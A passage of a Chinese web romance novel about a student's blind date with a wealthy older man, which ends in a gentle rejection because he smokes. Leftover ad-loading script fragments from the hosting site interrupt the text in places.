李如深接过手机,目光在锁屏壁纸上停留一瞬,拇指上划,点开相机,镜头对准人和猫——“咔嚓!” 相机在昏暗的环境中自动开启了闪光灯,小猫猝然受到惊吓,落荒而逃。 李如深听见祝星禾发出抽气声,急忙点开手电筒,一团白光照在祝星禾的腿上,靠近膝盖的位置有两条半指长的血痕,触目惊心。 “我带你去处理伤口。”李如深沉声说。 “不用了,”祝星禾不好意思麻烦他,“只是划破了点皮,没事的。” 李如深却不由分说地把他拽起来,拉着他往回走,祝星禾无可奈何,只得乖乖跟着他。 他们本来就没走多远,不到五分钟就出了公园,上了李如深的车——即使祝星禾对车不太了解,却也认识引擎盖上站着的那个小飞人是劳斯莱斯的车标,小说里的霸总几乎人手一辆,俨然是财富与地位的象征。 祝星禾坐在香气弥漫的车厢里,感觉自己成了灰姑娘。 车内的香气来自卡在空调出风口的香薰摆件,造型是一只做工精巧的金色飞贼,既好闻又好看。 祝星禾偷觑李如深的脸色,紧绷的下颌线和轻锁的眉头让他显得格外严肃,像是在生气。 对方默然不语,祝星禾只能为I做E,再次挑起话题:“你喜欢《哈利·波特》?” 李如深目不斜视,一贯的言简意赅:“以前喜欢。” “《哈利·波特》是我的童年,”祝星禾伸手抚摸金色飞贼的翅膀,“小说和电影我都超喜欢,看过好多遍。” 李如深扫他一眼,总算多说了几个字:“《哈利·波特》第一部上映的时候,你应该还没出生吧?” “没呢,”祝星禾说,“我是第三部上映那年出生的。” 李如深算算时间:“我比你大七岁,你会嫌我老吗?” 祝星禾有点惊讶,他没想到李如深比他大这么多,祝女士也没跟他说过李如深的具体年龄,只说他看起来不超过二十五岁。 不过这点年龄差对他来说不算什么,他没有恋父情结,但他确实更喜欢比他年长且成熟的男人,知子莫若母,所以祝女士才会如此殷切地把李如深介绍给他。 他必须承认,李如深完全符合他的取向,无论是长相、身材还是气质都狠狠地戳在他的心巴上,他觉得甜甜的爱情已经在向他招手了。 “当然不会,我对年龄没那么在意,而且你才二十七岁,跟‘老’不沾边。” 这句话半真半假,隐含着一点难言的羞涩。 祝星禾忍不住偷看李如深,发现他的嘴角微微翘起,好像在笑——李如深似乎是个“冷都男”,总是面无表情,高冷莫测,从见面到现在,这是他第一次看到李如深的笑容,尽管笑得没那么明显,却足以让他心里泛起一点微妙的甜。 虽然不在意李如深的年龄,但……以他如此出众的条件,他的感情史应该很丰富,如果他是个花花公子,那祝星禾就会很在意。 李如深要看路,祝星禾终于可以明目张胆地看着他,小心翼翼地提问:“我可以问你一个比较私人的问题吗?” “可以。” “你谈过几次恋爱?” “两次,和同一个人。”李如深不假思索地回答,“第一次分手是因为异国,第二次分手是因为我不想太早进入婚姻。” 祝星禾感到不可思议。 和同一个人恋爱、分手、复合、再分手,完全可以算一次,他说两次是想显得自己经验很丰富吗? 但这不是重点,重点是他都快三十了,又帅成这样,竟然只谈过一次恋爱!这合理吗?这不合理!只有追求完美人设的小说里才会出现如此悬浮的设定。 而这样一个逼近完美的男人,正在和他相亲。 天啊,好不真实,今晚的一切都好不真实。 “那……你们谈了多久?” “第一次一年半,第二次两年。” “你们分手多久了?” “两年。” 祝星禾掐指一算,李如深应该是在大学时期开始的这段恋情,而他现在就处于这个时期,正适合恋爱的年纪,不早也不晚,李如深出现得刚刚好。 “你介意吗?”李如深问了祝星禾问过的问题。 “如果你谈过十次八次,我肯定会介意,”祝星禾如实回答,“但你只谈过两次,我有什么好介意的呢?” “但我的恋爱对象是女人。”李如深说。 祝星禾只是略微怔了怔,便微笑着说:“那也不介意,性向本来就是流动的,会随着时间和环境的变化而改变①,而且我一直认为,不管是同性恋还是异性恋,喜欢的不是某种性别,而是恰好是这种性别的某个人,我以前也曾为某个女孩心动过。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李如深停好车,看着祝星禾问:“她是你的初恋?” 祝星禾羞于和他对视,只好把目光停落在那只金色飞贼上,语声中蕴含着些许对旧时光的怀念:“那时的我年少无知,还以为那些莫名的嫉妒心和占有欲是因为友情,后来她出国留学,那些朦胧的情愫也就慢慢地烟消云散了。” 李如深说:“所以你还没经历过初恋?” 祝星禾低低地“嗯”了一声。 短暂地静了几秒,他听见李如深说:“我去买药,你在车上等我。” 李如深快去快回,先用棉签蘸了消毒水,给伤处消毒,虽然他的动作已经尽可能地轻柔,但药水还是蜇得伤口生疼,祝星禾咬紧了牙关,却还是溢出两声呻喑。 李如深动作一顿,声音蓦地有些喑哑:“你很喜欢猫?” “嗯……”祝星禾强忍着疼,话音里有种泫然欲泣的可怜,“可是我家里有人对猫毛过敏,我暂时没法养,只能等毕业之后了。” 李如深想说他养了两只猫,可话到嘴边又咽了回去,随口问:“最喜欢哪个品种?” “我不在意品种,所有的猫猫都很可爱。” “刚才抓伤你的那只猫也可爱吗?” “当然啦,三花可是猫界女神,而且它也不是故意抓伤我的,你不许责怪它。” 最后一句有点撒娇的意味,李如深微不可察地笑了笑,说:“不怪它,怪我。” 消完毒,涂上药膏,再贴两条创可贴,就完事了。 李如深说:“这附近有家清吧,要不要过去坐坐?” 祝星禾觉得他现在可以和李如深面对面坐着了,便点了点头:“好。” 他们下了车,步行前往清吧。 这里是闹市区,行人如织,李如深一只手搭在祝星禾肩上,将他半搂在怀里,以一种占有和保护的姿态。 对于两个初次见面的人来说,这个姿势过于亲密了,但就像在公园里那次牵手一样,祝星禾不仅没感到被冒犯,反而再一次怦然心动——不怪他轻浮,任谁被一个长在审美点上的大帅哥搂着都不会觉得讨厌吧?他几乎可以确定,李如深就是他期待已久、梦寐以求的Crush,仿佛是造物主为他量身定制的仙品。 “你是闽南人?”李如深忽然问。 祝星禾深感欣慰,李如深终于学会主动找话题了,他笑着反问:“你怎么知道?我妈告诉你的吗?” “不是,你偶尔会泄露一点那边的腔调。” “有吗?我还以为我的普通话说得很标准。” “东北人也是这么以为的。” 祝星禾无法反驳。虽然他不是专业CV,但好歹是配过广播剧的人,口音是经过纠正的,只是平时说话不可能像配音时那么字正腔圆,偶尔带点口音也很正常。 “你来西城几年了?”李如深又问。 “初二那年来的,六年多了。” “回过老家吗?” “过年的时候回过两次,回去看外公外婆。”一想到许久未见的外公外婆,祝星禾就止不住地心酸,幸好清吧很快就到了,不用再继续聊这个话题。 刚进清吧李如深就遇见了认识的人,寒暄几句,对方说想和他单独谈点事情,李如深不好拒绝,把祝星禾带到靠窗的位置后,他就出去了。 祝星禾翻看酒水单,给自己点了一杯沙棘汁和一份甜点。转头看向窗外,正好看见那个陌生男人递给李如深一支烟。 李如深似乎犹豫了下,但还是伸手接了烟,然后娴熟地噙在唇间,对方又殷勤地帮他点燃,他扭脸朝祝星禾看过来,缓缓吐出一口白烟。 祝星禾的心骤然沉入谷底,好像有什么东西轰然倒塌了。 这个不真实的夜晚,在这一刻回归现实,那些雀跃和心动都成了梦幻泡影,瞬间化为乌有。 6. 另类06 另类06 一支烟的时间,李如深和那人聊完,回到了祝星禾身边。 隔着一张桌子的距离,淡淡的烟草味丝丝缕缕地钻进祝星禾的鼻腔,令他感到轻微的不适。 对面的男人依旧帅得不像话,而且店里的灯光为他蒙上了一层柔光滤镜,愈发得赏心悦目,像个勾魂摄魄的男狐狸精。然而祝星禾已经祛魅,那种小鹿乱撞的感觉一去不回,虽然不至于心如止水但也差不多了,也敢于直视对方了,不再扭扭捏捏地躲闪。 李如深敏锐地察觉到,祝星禾看他的眼神似乎和之前不太一样了,他以为这种变化是随着他们对彼此的了解由浅入深而自然发生的,就没太在意。 祝星禾将酒水单递给他:“我只点了自己的,你看看想喝什么。” 这家清吧的老板是李如深的高中同学,他是这里的常客,不用看酒水单,直接打手势招来服务员,点了一壶凤凰单丛和一份茶歇小吃拼盘。他还要开车,不能喝酒。 他们坐的位置离舞台没多远,台上坐着一男一女,男的是键盘手,女的抱着一把吉他,边弹边唱,唱的是一首温柔缱绻的老歌,正合适清吧的氛围。 “有没有想听的歌?”李如深低声问,“可以点歌。” 祝星禾很想点一首李荣浩的《戒烟》,想想还是算了,没必要,他笑着摇了摇头:“你点吧。” 桌上有便签纸和碳素笔,李如深唰唰写了几笔,等服务员路过时把纸条交出去,服务员再转交给键盘手。 等那首老歌唱完,键盘手和女主唱小声交流几句,女主唱向祝星禾和李如深所在的位置投来目光,也没说什么,继续撩拨琴弦。 前奏刚响祝星禾就听出来,是Blur的《To the End》,过年那会儿他单曲循环过一阵子,还发微博安利过。他趴在桌上,稍稍拉近和李如深的距离,好奇地问:“你怎么会点这首歌?它比你都老。” 李如深也学着他趴在桌上,不答反问:“你听过?” 祝星禾说:“寒假的时候我看了部英剧,这首歌是剧里的插曲,我觉得旋律很好听,就收在了歌单里,还顺便考古了这首歌的歌手,原来是一支非常厉害的英伦摇滚乐队,很多歌都很好听。” 李如深说:“我喜欢他们的《Fool''s Day》和《Sweet Song》。” 祝星禾疑惑:“那你刚才怎么不点这两首呢?” 李如深说:“《To the End》我也喜欢。” 他的英文口音纯正,一听就是在国外留过学或生活过的,祝星禾虽然没有留学的打算,但他对外面的世界充满好奇,尤其是北欧,正想问点什么,服务员来给他们上茶点,一打岔就忘了。 祝星禾点的那份甜点被做成了牡丹花的样子,很漂亮,他拿出手机拍照,李如深问:“需要我帮你拍吗?” 祝星禾就把手机递给他,端起盛点心的盘子,冲着镜头露出一点微笑。李如深拍完之后把手机还给他,祝星禾看到照片,眼前一亮:“哇,你拍得真好!” 李如深想说“那是因为你长得好看”,虽然这是事实,但说出来似乎稍显油腻,于是改口:“摄影是我为数不多的爱好,不过我擅长拍景物,很少拍人。” “难怪。”祝星禾不禁想到纪松沉那个手残,总是能拍出那种令他眼前一黑的丑照,出片率低得发指,“我做梦都想有个拍照好看的朋友。” 李如深倒茶的动作微不可察地顿了顿。 朋友……虽然祝星禾很可能只是随口一说,但他还是不由自主地生出一点危机感。 他很清楚自己最大的缺点是什么,他必须多说话才行。 李如深递给祝星禾一杯茶,回到之前的话题:“你刚才提到的英剧是什么?” “《One Day》,中文名叫《一天》。” “我看过。” “不会吧?”祝星禾有点惊讶,“这部剧还蛮糊的,豆瓣打分人数大概只有小几千,而且你看起来完全不像是会看这种爱情剧的人。” “那你觉得我喜欢看什么?”李如深问。 祝星禾认真想了想:“那种晦涩难懂有逼格的文艺片,比如娄烨或者贾樟柯的作品。” 李如深说:“这两位导演的作品我都看得不多,贾樟柯还好,娄烨的拍摄手法和叙事风格我都不喜欢。” “那你喜欢什么?”祝星禾问。 “相比真人电影,我更喜欢动画电影。”李如深边想边举例,“比如国外的《瓦力》、《寻梦环游记》,国内的《大圣归来》、《杨戬》,最近最喜欢的一部是《机器人之梦》。” 这个答案着实出乎意料,但是很加分,如果李如深说他喜欢《教父》或者《肖申克的救赎》之类的电影,那祝星禾可能会对他有一丢丢失望。 “《机器人之梦》好像是新近上映的吧?”祝星禾记得在微博刷到过这部电影的好评,他拿起手机,“我还没来得及看,不知道下映了没有。” “七月就下映了。”李如深说。 “好吧,”祝星禾又把手机放下,遗憾地说:“那只能去网上看了。” “你平时喜欢看什么?”李如深把问题抛回来。 祝星禾说:“我是杂食党,咱们国家的仙侠古偶、泰国的腐剧、好莱坞大片,什么都看。” 反正爱情鸟已经扑腾着翅膀飞走了,他无需在言谈中矫饰自己,显出一幅很有品味的样子,实话实说就行。 短暂的冷场之后,李如深再次主动开口:“在公园帮你拍照的时候看到了你的手机壁纸,你喜欢阮郁?” 祝星禾猛地瞪圆了眼睛:“你该不会也喜欢阮郁吧?” 他两眼放光的样子像一张可爱的表情包,可惜无法收藏,李如深情不自禁地笑了笑,说:“不是我,是我妈,她是阮郁的粉丝。” “真的吗?”祝星禾惊喜,“我和你妈妈竟然是同担,好神奇。” “同担?” “粉圈术语,就是喜欢同一个明星的意思。” “喔……我妈说她是妈粉,你呢?” “我是颜粉兼演技粉,你有看过阮郁的作品吗?” 李如深心想,不是老婆粉就好,他慢悠悠地回答:“八月上映那部《天鹅梦》,首映当天我妈就带着全家人去看了,看完之后必须在购票软件和豆瓣上给出五星好评,她还让我爸包场,请公司所有员工去看,就当是员工福利了。” “阿姨这是假公济私,给阮郁冲票房呢,只有票房猛猛涨,影院才舍得给排片。”祝星禾也是一样,每次阮郁的新片上映他都会尽量多买几张票,请亲朋好友去看电影,虽然粉丝的力量在庞大的路人盘面前微不足道,但作为粉丝怎么能不为爱豆的事业添砖加瓦呢,“冒昧地问一句,阿姨今年多大年纪了?” “五十二。” “你们家里人不介意她追星吗?” “为什么要介意?” “因为很多人认为追星是件不好的事,浪费时间、浪费金钱、粉圈恶臭什么的。我不止一次刷到有女生发帖说‘男朋友不喜欢我追星怎么办’,也刷到过子女吐槽妈妈追星的帖子,全是指责和埋怨,看得我血压升高。” “在成为我爸的妻子和我的妈妈之前,她首先是她自己,谁都无权干涉她的喜好,反正她有大把的时间和金钱可以浪费,只要她开心就好——到了她这个年纪,还能从某件事里收获情绪价值,其实弥足珍贵。” “你们的家庭氛围真好。”祝星禾由衷地为这位素不相识的同担感到开心,“阿姨有微博吗?我想关注她。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “有,”李如深说,“但我不知道账号是什么。” 祝星禾了然,正常人都会捂紧小马甲,不让身边人知道。 他们围绕追星又聊了很多,虽然祝星禾对另一个男人的喜欢让李如深忍不住有些嫉妒,但他更庆幸找对了话题,听祝星禾说话是种双重享受,不仅声音轻柔悦耳,表情也生动养眼。 甜点吃完了,果汁也喝完了,祝星禾觉得是时候结束这场跌宕起伏的相亲了:“我们走吧?” 李如深说:“等我五分钟。” 祝星禾以为他要去洗手间,却没想到他起身后径直朝舞台走去。 ……他该不会要唱歌吧?他怎么突然由I转E了? 祝星禾很快就明白过来,李如深这是要向他展现自己的魅力,一种类似孔雀开屏的求偶行为。 女主唱让出位置,李如深坐在了麦架前,将麦克风调高一些,而后朝键盘手点点头,示意可以开始了。 他看起来气定神闲,并未泄露出丝毫紧张。 短暂的前奏过后,李如深开口了: “City of stars Are you shining just for me City of stars There''s so much that I can''t see。” 他唱的是电影《La La Land》的主题曲,在影片的结尾处,男女主在一间小酒馆久别重逢,男主角坐在舞台上弹奏着《City of Stars》的旋律,而女主角是台下的观众,人生的另一种可能随着音乐一幕幕展开,既美丽又哀婉。 此时此刻,他们身处的环境和电影里的场景几乎如出一辙,祝星禾一边举着手机拍摄,一边用眼睛和耳朵欣赏。他和这个初次见面的男人既没有过去可供回忆,也没有未来能够憧憬,他们所拥有的只是转瞬即逝的现在,祝星禾为此感到遗憾和伤感,不自觉地湿润了眼眶。 “I don''t care if I know Just where I will go ''Cause all that I need is this crazy feeling A rat-tat-tat on my heart Think I want it to stay。” 李如深一边唱,一边静静地凝视着祝星禾,祝星禾的小心脏就像歌词里唱的那样,“rat-tat-tat”地跳动着——一个近乎完美的、白马王子一样的男人对着你唱情歌,试问谁能无动于衷?就算是被钉在棺材里的死人,也要用腐朽的声音喊出一句:我可以! 他的情感在引诱他:你这辈子很难再遇到比李如深更好的男人了,错过他你一定会后悔的,只要忽视那个缺点,你就能坠入爱河了。 但他的理智告诉他:你做不到,至少现在还做不到。 “City of stars Are you shining just for me City of stars You never shined so brightly。” 掌声响了起来,李如深向键盘手和女主唱点头致谢,起身走下舞台。 祝星禾无法将目光从李如深身上移开,他整个人都在闪闪发光,仿佛从异次元走来。 祝星禾蓦然想起祝女士说过,就算跟他喜欢的明星比,李如深也毫不逊色。 当时他心里其实有点不屑,因为这个世界上没有人能和他的爱豆相提并论,但是现在,他承认祝女士说得对——对于一个追星的人来说,这无疑是对一个男人的最高评价。 7. 另类07 另类07 劳斯莱斯停在滨河公园门口,李如深打开扶手箱,取出之前买的药,交给祝星禾:“伤口别沾水,记得每天消毒换药。” “好,那我走啦,拜拜。” “拜拜,路上小心。” 祝星禾下了车,小心地关好车门,又冲李如深挥了挥手,目送他驱车上路。 祝星禾从包包里找出有线耳机戴上,听了一路的《City of Stars》,越听越Emo。 回到家,刚进院子就看见了纪灵慧,祝星禾立刻从“不嘻嘻”变成“嘻嘻”:“干妈,你今天怎么回来得这么早?” 纪灵慧笑着说:“手头的项目告一段落,暂时不用加班了。” 祝星禾把小摩托停在月桂树下,转头朝纪灵慧走去。 还算宽敞的院子被一条连接庭院门和入户门的石板路切割成两部分,西边是月桂树的领地,东边是祝佳音精心打造的小花园,各种花花草草簇拥着一座弧顶凉亭,凉亭旁边还有个小小的水景池,池子里养着睡莲,两条锦鲤在莲叶间游来游去,花里胡哨那条叫小五,黑不溜秋那条叫小九,纪灵慧正在投喂它们。 “听说你去相亲了?”纪灵慧笑问。 “肯定是纪松沉跟你打的小报告。”祝星禾抬头看向二楼,纪松沉的房间黑着灯,今晚可能不会回来了。他坐在纪灵慧身边,一阵强烈的无力感骤然袭来,他歪着头靠在她肩上,发出疲惫的叹息。 “怎么了?”纪灵慧放下盛鱼食的小碗,用那只干净的手摸了摸祝星禾的脸,“那男的不好?” “他很好,好得超乎想象。”祝星禾双目无神地看着一丛夜来香,轻轻慢慢地说:“他长得又高又帅,是我最喜欢的冷白皮浓颜系帅哥。他总是面无表情,看起来有点高冷,但言谈举止又很温和,不傲慢,不装逼,不油腻,是那种含蓄内敛的性格,所以他身上的‘男味儿’很淡,和他在一起很舒服,如沐秋风。而且他唱歌超好听,我对唱歌好听的人没有抵抗力——我第一次对一个男孩子心动,就是因为他在KTV唱了一首我喜欢的歌,唱得特别好,后来那个男孩参加选秀节目出道了。最最重要的一点是,他不介意我穿女装,也不嫌弃我是个娘娘腔,他愿意接纳最真实的我。” “你说的这些都是优点,他的缺点是什么?”纪灵慧问。 “他的缺点是太有钱了,”祝星禾说,“他戴几十万的表,开几百万的车,显然家世不凡。我当然想交个有钱的男朋友,但是普通有钱就好,太有钱了反而会吓退我。无论任何时候,门当户对都很重要。” 这当然不是他退缩的真正原因,这是他在回来的路上想出来的最合情合理的相亲失败的理由。 “所以你不打算和那个人继续发展了?”纪灵慧问。 “嗯。” 纪灵慧能感觉到他的遗憾和不舍,她把他搂在怀里,轻抚着他的手臂,慢条斯理地说:“虽然那个人很好,但他跟你不是一个世界的人。就好比小五和小九,它们只能生活在淡水里,要是把它们放进盐水里,它们就会脱水而死。不适合自己的圈子不能强融,否则势必会受到伤害,及时止损是最好的选择。” 祝星禾又“嗯”了一声,见他还是恹恹的,纪灵慧柔声劝慰:“爱情不是必需品,那些小说和影视作品过分渲染了爱情的重要性,好像没有爱情就没法儿活了,人生就失去意义了,其实不是这样的,爱情只是生活的调味剂,是个可有可无的消遣,你看我,单身了半辈子,还不是照样活得多姿多彩。” 说到这儿,纪灵慧话锋一转:“千万别学你妈,你妈当初就是被爱情冲昏了头脑,为了一个男人放弃了留在西城发展的大好机会,我怎么劝她都不听,我一气之下就跟她绝交了。结果呢?她自己受苦受难是她活该,还连累你跟她一起承担恶果,害你小时候吃了那么多苦,只要想到她曾经干的那些蠢事我就气的肝儿疼。” 换个人这么说祝佳音,祝星禾肯定要生气的,但纪灵慧不同。 当年纪灵慧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和祝佳音绝交之后就分隔两地,十几年来再无联络,可是六年前祝佳音带着孩子来西城投奔她的时候,纪灵慧毫不犹豫地接纳了他们,仿佛那十几年的隔阂根本不存在。 如果没有纪灵慧的鼎力相助,他们母子俩不可能过上现在的生活,所以这个世界上只有纪灵慧有资格说祝佳音的不是。 纪灵慧叹了口气,接着说:“其实也不全是你妈的错,我们七零后身上有个普遍的毛病,就是喜欢没苦硬吃,不吃点苦心里都不踏实。不仅自己要吃苦,还得让孩子跟着吃苦,搞什么‘苦难教育’,前阵子我和你妈逛街的时候就看了一部这样的电影,明明是喜剧片却看出了恐怖片的感觉,看得我是如坐针毡、如芒在背、如鲠在喉。当然,人生在世不可能一点苦都不吃,不管是亲情的苦、爱情的苦还是友情的苦,苦一点可以,苦很多免谈,因为你越是能吃苦,苦难就越容易找上你,所以一定要远离那些给你苦吃的人,记住了吗?” 祝星禾的嗓子有点哑:“记住了。” 纪灵慧摸摸他的头,笑着说:“乖。” 又陪纪灵慧坐了几分钟,祝星禾就上楼洗澡去了,洗之前用保鲜膜把左腿的伤处包起来,洗完再解开。 他赤-身裸-体地站在洗手台前,用手抹掉镜子上的水雾,身体前倾,目光凝视着左肩上那块显眼的疤痕,形状和大小跟一元硬币差不多,凹凸不平,颜色暗沉,犹如一块永远洗不干净的脏污。 这块疤是用烟头反反复复烫出来的,祝星禾不记得被烫了多少次,但是那种皮肉被灼烧的气味他至今都忘不了,所以他闻不了烟味,犯恶心还是轻的,严重的话还会呼吸过度,学名叫呼吸性碱中毒。 当初为了让纪松沉戒烟,祝星禾不得不把这个秘密告诉他,但祝佳音和纪灵慧对此毫不知情。 他希望在妈妈的心里,他是个身心健康、清澈明亮的孩子,那段灰暗的过去没有给他留下任何心理创伤,只有这样,妈妈才不会对他心怀愧疚,真正地与过去和解。 8. 另类08 另类08 简单吹了吹头发,祝星禾拉开卫生间的门,刚迈出一只脚就看见床上坐了个庞然大物,他急忙退回去,像只被踩了尾巴的猫一样大喊大叫:“纪松沉!谁让你穿着外裤坐我床上的!脏死了!” “行,我这就把裤子脱了……” “别脱别脱!你先出去,等我穿好衣服你再进来。” “有必要吗?你身上什么地方我没看过?高一那年你做手术,我还给你把过尿擦过屁-股呢。” “要不是你跟别人打架,害我摔断腿,我也不会做手术。” “要不是为了你,我也不会跟人打架。” “……”祝星禾无言以对了。 像他这样的男生就是校园霸凌的最佳人选,起初他以为来到大城市后就能过上正常的校园生活,然而并没有,后来他以为升入高中后会有所改善,却再一次失望,霸凌无处不在。 从初中到高中,纪松沉为了他不知打过多少架,最严重的一次差点闹出人命,从那以后再也没人敢找他麻烦。多亏了纪松沉母鸡护小鸡似的护着他,他才能熬过动荡不安的青春期。 “哥,我有裸-体-羞-耻症,”祝星禾换了副好商好量的口吻,“你回避一下,先让我穿上衣服行吗?” 纪松沉吃软不吃硬,一声“哥”就把他哄好了,边往外走边抱怨:“真是越来越龟毛了。” 祝星禾和纪松沉的房间里都有单独卫浴,所以祝星禾很少把洗完澡要穿的衣服带进洗手间,都是事先找出来搁在床上。 他三下五除二穿好衣服,纪松沉不等他喊就闯了进来:“给你发微信也不回,害我电影都没看进去,快跟我说说,你和那男的相亲相得怎么样?” “人蛮好的,但是不适合我。”祝星禾把电脑椅拉过来给他坐,又从床头柜上拿了瓶清洁喷雾,对着纪松沉刚坐过的地方喷了几下,淡淡的薰衣草香气迅速弥漫开来。 “展开说说。”纪松沉老神在在地跷着二郎腿,摆出一副“我要吃瓜”的架势。 “没什么好展开的,”祝星禾坐在他对面,“他抽烟。” “你很失望?”纪松沉观察着他的表情。 “没什么好失望的,”祝星禾无所谓地笑笑,“我本来也没抱什么期待,就是试试看。” “那就好。”纪松沉说,“也不知道干妈怎么想的,谁家好人才二十岁就给安排相亲啊。” 这个话题到此为止,祝星禾把矛头转向纪松沉:“你怎么回来了?我还以为你今晚会外宿呢。” “常舒明天回燕城,早上八点的飞机,她得回去收拾行李。” “离开学不是还有几天吗,她干嘛这么早回去?” “说是学校有事儿,我也没细问。” “你才刚结束集训,她又要走了,整个暑假你们都没见上几面,好可惜。”祝星禾想到去年看过的一部青春疼痛爱情电影,随口安利:“有部电影叫《我是真的讨厌异地恋》,你有空可以看看,或许会感同身受。” “我才不看,”纪松沉拒绝安利,“有那闲心我不如多打两把游戏。” “一天到晚就知道打游戏,无聊死了。”祝星禾起身走到书桌前,从置物架上找到一只猫爪形状的U盘,转手递给纪松沉,“你电脑里的小-黄-片给我拷几部。” “啊?”纪松沉不敢相信自己的耳朵。 祝星禾装出一副很忙的样子,边收拾桌上的东西边说:“国产的不要,男演员又胖又丑的不要,虐待女演员的不要,满口污言秽语的不要,最好拍得唯美一点。” 纪松沉来到祝星禾身边,伸手去摸他的额头:“你发烧了?” 祝星禾把他的手挡开,吞吞吐吐地说:“没有,我就是……想从里面学点东西。” 纪松沉问:“学什么?” 祝星禾总不能说是学叫-床,正在张口结舌,忽然听到敲门声,他推着纪松沉往外走:“哎呀,你别问了,照我说的做就行了。” 打开房门,把纪松沉推出去,把祝佳音拽进来,把门一关,祝星禾笑着说:“妈,你回来了。” 见他心情很好的样子,祝佳音微微松了口气,说:“你干妈已经跟我说过了,既然你觉得你跟小李不合适,那就算了。” 祝星禾有些意外:“你那么中意李如深,我还以为你会劝我再试试。” 祝佳音说:“我以为他就是个普通的上班族,年纪不大不小,职位不高不低,赚得不多不少,条件刚刚好,谁知道他那么有钱,已经到了咱们高攀不起的程度,那就算了,没必要自讨苦吃。” “那我跟李如深就到此为止了。” “你已经跟他说清楚了?” “没呢,我刚回来洗完澡,还没来得及给他发微信。” “别把话说得太直白,毕竟他是店里的常客,以后还得经常见面呢。” “我好好想想怎么跟他说。” “行,那我下楼了。”出了门,祝佳音又想起一件事,“对了,你明天不用去店里帮忙了,已经招到人了。” “这么快?”祝星禾微感诧异。 “现在大环境不好,工作难找,招个临时工还不是分分钟的事。”祝佳音说,“你也忙了一个多月了,趁着还剩几天假期,好好休息休息。” “那你明天早上别叫我吃早饭了,”祝星禾笑着说,“我要睡个懒觉。” 目送祝佳音下楼,祝星禾返回房间,拿起手机,有一条来自李如深的微信,是他洗澡那会儿发过来的,问他到家了没。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 祝星禾坐在床上,抱着一只杰拉多尼玩偶,慎重地思考了十分钟,接连给李如深发了几条微信。 第一条是转账。药钱他算了个大概,再加上在清吧的消费,凑了个整数,转了一百块。 第二条是他拍的李如深唱歌的视频。 第三条和第四条是文字—— 祝星禾:[你唱歌很好听,这条视频如果发到网上是值得万转的程度。你记得保存,原视频我删掉啦。] 祝星禾:[谢谢你陪我度过了一个愉快的夜晚,很高兴认识你,如果以后在ROOM遇见的话,我请你喝咖啡,我冲咖啡的手艺还不错/愉快] …… 手机响起来的时候,李如深刚好抵达苍园。 苍园是位于西城郊区的一座小庄园,占地面积约等于一个足球场,他的父母大部分时间都住在这里,种种菜、养养花、钓钓鱼,过着归园田居的悠闲生活。 李如深本想看完微信再下车,可茶梨在车外叫个不停,他只得先下车,茶梨兴奋地扒拉他的裤腿,李如深弯腰把它抱起来,撸了两下,小家伙立刻就安生了。 茶梨是一只查理王小猎犬,是他在英国留学时收养的小狗,陪他度过了三年留学生活,回国后是他父母在养,整座庄园都是它的领地,可以尽情地撒欢,比在城市里快乐得多。 进了门,先和在客厅看电视的妈妈打声招呼,然后去书房跟爸爸谈公事,半小时后从书房出来,妈妈已不在客厅,李如深径自上了二楼,回到房间,掏出手机,查看祝星禾的微信。 那两条文字信息他逐字逐句、认认真真地看了好几遍,表情越来越凝重。 扯开领带,解开两颗扣子,开门出去,走到妹妹李意浓的房间门口,抬手敲了敲门。 “进来。” 李意浓正躺在床上玩手机,看到进来的是他,有点惊讶:“哥?你怎么回来了?” “来找爸爸谈点事情。”李如深走到床边,“来之前我去相亲了。” “相亲?!”李意浓大惊失色,猛地坐起来,“妈妈给你安排的吗?我怎么没听她提过?不会是商业联姻吧?女方是谁?我认识吗?” 李如深不理会她连珠炮似的提问,直接把手机递过去:“这是他刚给我发的微信。” 李意浓只看了一遍,就笃定地说:“完了,人家没看上你,这是在委婉地拒绝你呢。” 李如深当然看出来了,只是不敢相信自己的判断,他沉着脸把手机拿回来,丢下一句“早点睡”,就转身走了。 李意浓伸出尔康手:“哎,别走啊,你还没回答我的问题呢,跟你相亲的人是谁呀?——把你唱歌的视频发给我,我要看!” 李如深置若罔闻,头也不回地开门出去了。 9. 另类09 另类09 祝星禾等了好久也没等到李如深的回复,不禁担心他的拒绝会刺伤李如深的自尊,虽然他已经尽可能地委婉。 以李如深的条件,应该只有他拒绝别人的份儿,如今却被一个条件远不如他的人拒绝,他大概会觉得对方不识抬举吧?他以后可能不会再去ROOM了,这样也好,省得见面尴尬。 心里不免又有点惋惜,那么赏心悦目的一个大帅哥,就算做不成男朋友,做普通朋友也好啊。 唉,算了,看得着吃不着也挺折磨人的,还是各自安好吧。 胡思乱想了一阵儿,睡意渐渐来袭,祝星禾没盖被子就会周公去了,半夜冻醒过来,蛄蛹进被子里,然后迷迷糊糊地看了眼手机,看到屏幕上出现了李如深的名字,还有一个简简单单的“好”字。 来不及产生什么心理活动,他就又沉入梦乡了。 “谁能预知爱的花期, 绽放时我哪也不去, 花开一瞬间为爱沉醉一世间……”① 祝星禾被手机铃声吵醒,摸摸索索拿到手机,眯缝着眼瞧见屏幕上的“任芳林师姐”几个字,他猛地坐起来,咳嗽两声清清嗓子,接听电话:“喂,任师姐。” “小禾,不好意思这么早打给你,我有个急事想找你帮忙。” “没关系,你说。” “本来我今天要去星城录个节目,在一档音综里担任琵琶伴奏,但我闺蜜昨晚突然病了,胃穿孔,还挺严重的,医生说得手术,必须有家属陪同才行,可她在西城无亲无故的,我没办法丢下她不管,所以我需要找个人替我去录节目,能找的人我都找过了,可他们都没空,你是我最后的希望了。” 祝星禾听得出她真的很急,想也不想就答应了:“我这几天正好有空,我替你去吧。” “太好了!你帮我大忙了小禾,等你回来师姐请你吃大餐。” “好呀,正好咱们很久没见了。” “你把身-份-证复印件发给我,我帮你买机票,然后你就可以收拾行李了,也不用带太多东西,最迟后天就能回来。后面的事咱们微信聊吧。” “好。” 结束通话,祝星禾先把身-份-证复印件发过去,坐在床上发了会儿癔症,而后去了对面房间,把还在沉睡的纪松沉摇醒了。 “干嘛?”纪松沉一脸不耐烦,明显带着起床气。 